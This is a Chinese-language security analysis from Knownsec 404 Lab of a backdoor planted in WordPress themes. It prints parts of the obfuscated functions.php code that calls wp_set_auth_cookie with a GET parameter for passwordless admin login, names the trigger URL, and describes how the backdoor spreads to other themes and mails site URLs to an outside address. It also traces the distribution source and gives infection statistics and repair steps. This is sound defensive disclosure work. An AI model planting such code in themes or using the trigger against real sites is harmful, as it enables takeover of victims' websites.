Author: p0wd3r,dawu,LG (知道創宇404安全實驗室)
Date: 2016-11-15
0x00 概述
上周公司小伙伴給了我一個Wordpress主題讓我幫忙審核,漏洞沒有發現,但是卻發現了這樣一個后門:
當啟用這個主題后,攻擊者即可通過該后門遠程無需密碼以管理員權限登錄到網站的后臺中。
這個后門可謂“年代久遠”,早在2010年就在國外被提出來了(http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/),然而令人遺憾的是時間過了這么久依然還有很多主題存在這個后門,更令人驚訝的是一些提供主題下載的網站也存在該后門,如果被人加以利用后果不堪設想。
0x01 詳細分析
我們的樣本是從某網站花86塊購買的(沒錯,付費主題也存在問題),正常審計過程中會搜索代碼中使用的敏感函數,當搜索call_user_func_array函數的時候發現了兩處奇怪的用法:
functions.php第257行:
$sq1="...". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) . "...";
這里省略了不必要的部分。可以看到作者將call_user_func_array的結果拼接到sql語句中,當時只是好奇為什么這樣寫,然而將這段代碼放到搜索引擎中卻發現了意外的結果:http://ihacklog.com/post/wordpress-theme-malicious-code-analysis.html,可以看到這正是里面所描述的惡意代碼。根據文中的敘述,這段惡意代碼的作用是:
啟用后主題后每當有人訪問網站就檢查網站中的所有主題是否已被感染,然后感染未被感染的主題,隨后將網站url發送到 livethemes@gmail.com 這個郵箱中
將文中的代碼和本地的文件做一下對比(僅截取一部分):

發現只是在變量名上做了調整,然后在啟用主題時進行動態調試,發現確實存在上文所說的向livethemes@gmail.com發送郵件的行為:

現在我們可以確定這個主題是存在問題的,但僅僅是向livethemes@gmail.com發送我們網站url這么簡單嗎?
我們再來看下一處call_user_func_array調用:
functions.php第306-310行:
if ($use_link ) {
if($forces_more) {
$output .= "..." . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "...";
} else {
$output .= "...";
}
}
當$use_link和$forces_more值為真時,調用call_user_func_array($checkwidgets,array($perpage, true)),我們來看一下相關變量的值:
if(!isset($method)) $method="cookie";
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($authname)) $authname="auth";
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($forces_more)) $forces_more=1;
可以看到$use_link和$force_more的值均為1,$checkwidgets值為wp_set_auth_cookie,所以這段函數可以精簡為:call_user_func_array('wp_set_auth_cookie', array($_GET['cperpage'], true)。而wp_set_auth_cookie的作用是只需提供用戶id即可實現登錄(https://developer.wordpress.org/reference/functions/wp_set_auth_cookie/),我們實際操作一下:
未登錄狀態:

訪問http://url/index.php?cperpage=1:


可以看到已經以管理員身份登錄了,原來這里才是真正的后門所在。
總的來說該后門的功能如下:
- 啟用后主題后每當有人訪問網站就檢查網站中的所有主題是否已被感染,然后感染未被感染的主題。
- 每當有人訪問,檢查是否曾向
livethemes@gmail.com發送郵件,若沒有將網站url發送到livethemes@gmail.com。 - 攻擊者通過訪問
http://url/index.php?cperpage=1即可以管理員的身份登錄使用被感染主題的網站。
0x02 影響 & 溯源
起初我們懷疑后門是由售賣主題的網站植入,但是我們發現該網站也是存在這個后門的:

不過有意思的是該網站的后門文件是上面所說的以前就被披露出的版本,和我們手中主題中的后門并不完全相同。
我們推斷該網站售賣的主題是網站擁有者在其他主題的基礎上更改的,而這些主題是被感染過的,但站長并沒有對其進行檢查。
隨后我們又測試了另外一些售賣主題的網站,其中一個在百度搜索中排名十分靠前的網站也存在該后門:

慶幸的是我們在這網站上下載的一些主題并不存在后門,但是這些高權重網站若被惡意利用后果將不堪設想。
源頭在哪里?
通過這篇文章我們可以看到有人評論說 http://www.themes2wp.com (需掛代理訪問,國內訪問會403)上的主題均存在該后門,我們下載了最新的主題(11月13日發布)發現確實如此,并且該網站本身并不存在后門。不過該網站上的主題存在的后門是上面所提到的以前的版本,和我們的樣本在變量名上有一定差別。
通過一段時間的探索,我們發現該網站上的主題是從其他網站下載的,例如 https://flexithemes.com,我們可以在其源碼中搜索到相關內容:

但是我們對比從兩個網站下載的相同的主題:



可以看到后者在前者的基礎上在functions.php中添加了惡意代碼,并在siderbar.php中添加了外鏈,外鏈域名與這個網站域名是同一個組織注冊的:

所以總的來說 http://www.themes2wp.com 有很大的嫌疑是傳播的源頭,它首先從其他一些免費主題下載站下載主題,然后向其中注入惡意代碼并重新打包再提供給用戶下載,并且可能有另一批人對后門進行了更改后再進行傳播。www.themes2wp.com 于2009年注冊,如果它真的是傳播源頭,僅從時間跨度上來看影響也是很大的。
0x03 受感染主機數據分析
我們根據該后門的特征,對ZoomEye中記錄的400多萬域名進行了掃描,發現近8000臺主機受到了感染。對于這些受感染的主機,我們做了如下統計。
國家分布統計

IP統計

經檢測,受到感染的近8000個域名中只對應了3000多個IP,我們統計了IP綁定域名的情況。這些IP中大約有百分之二十以上的IP綁定了多個域名。可能一個域名被感染后,導致同一個IP下的域名都被感染。
網站title統計

通過對重復title的統計可以看出,除了HTTP狀態頁面301頁面以外,剩下重復的title數量極少。我們可以做出的判斷是,這個后門影響著各個行業的網站,而不是針對某個特定的行業。

通過對網站title詞頻統計分析,可以看到娛樂城(黑色部分)有關的約占了四分之一。 為了了解國內的影響情況,我們統計了國內外title的詞頻,結果如下:

通過上圖的統計,在國內的title中我們沒有發現黑產的蹤跡。

國外title中我們找到了更多的黑產的關鍵詞。
根據以上詞頻統計的結果,一共937個網站首頁包含娛樂這個關鍵詞,其中位于美國的網站就有720個。在8000個存在后門的網站中,中文網站大約占了二分之一,其中就有近千網站與黑產有關。
后門利用流程

0x04 檢測 & 修復
檢測:
可以使用 Seebug 照妖鏡進行在線檢測。
修復:
- 刪除網站目錄下所有主題的
funcions.php中的惡意代碼 - 通過日志檢查攻擊者在獲取管理員權限后又進行了哪些敏感操作
0x05 參考
https://developer.wordpress.org/reference/functions/wp_set_auth_cookie/
http://ihacklog.com/post/wordpress-theme-malicious-code-analysis.html
http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/140/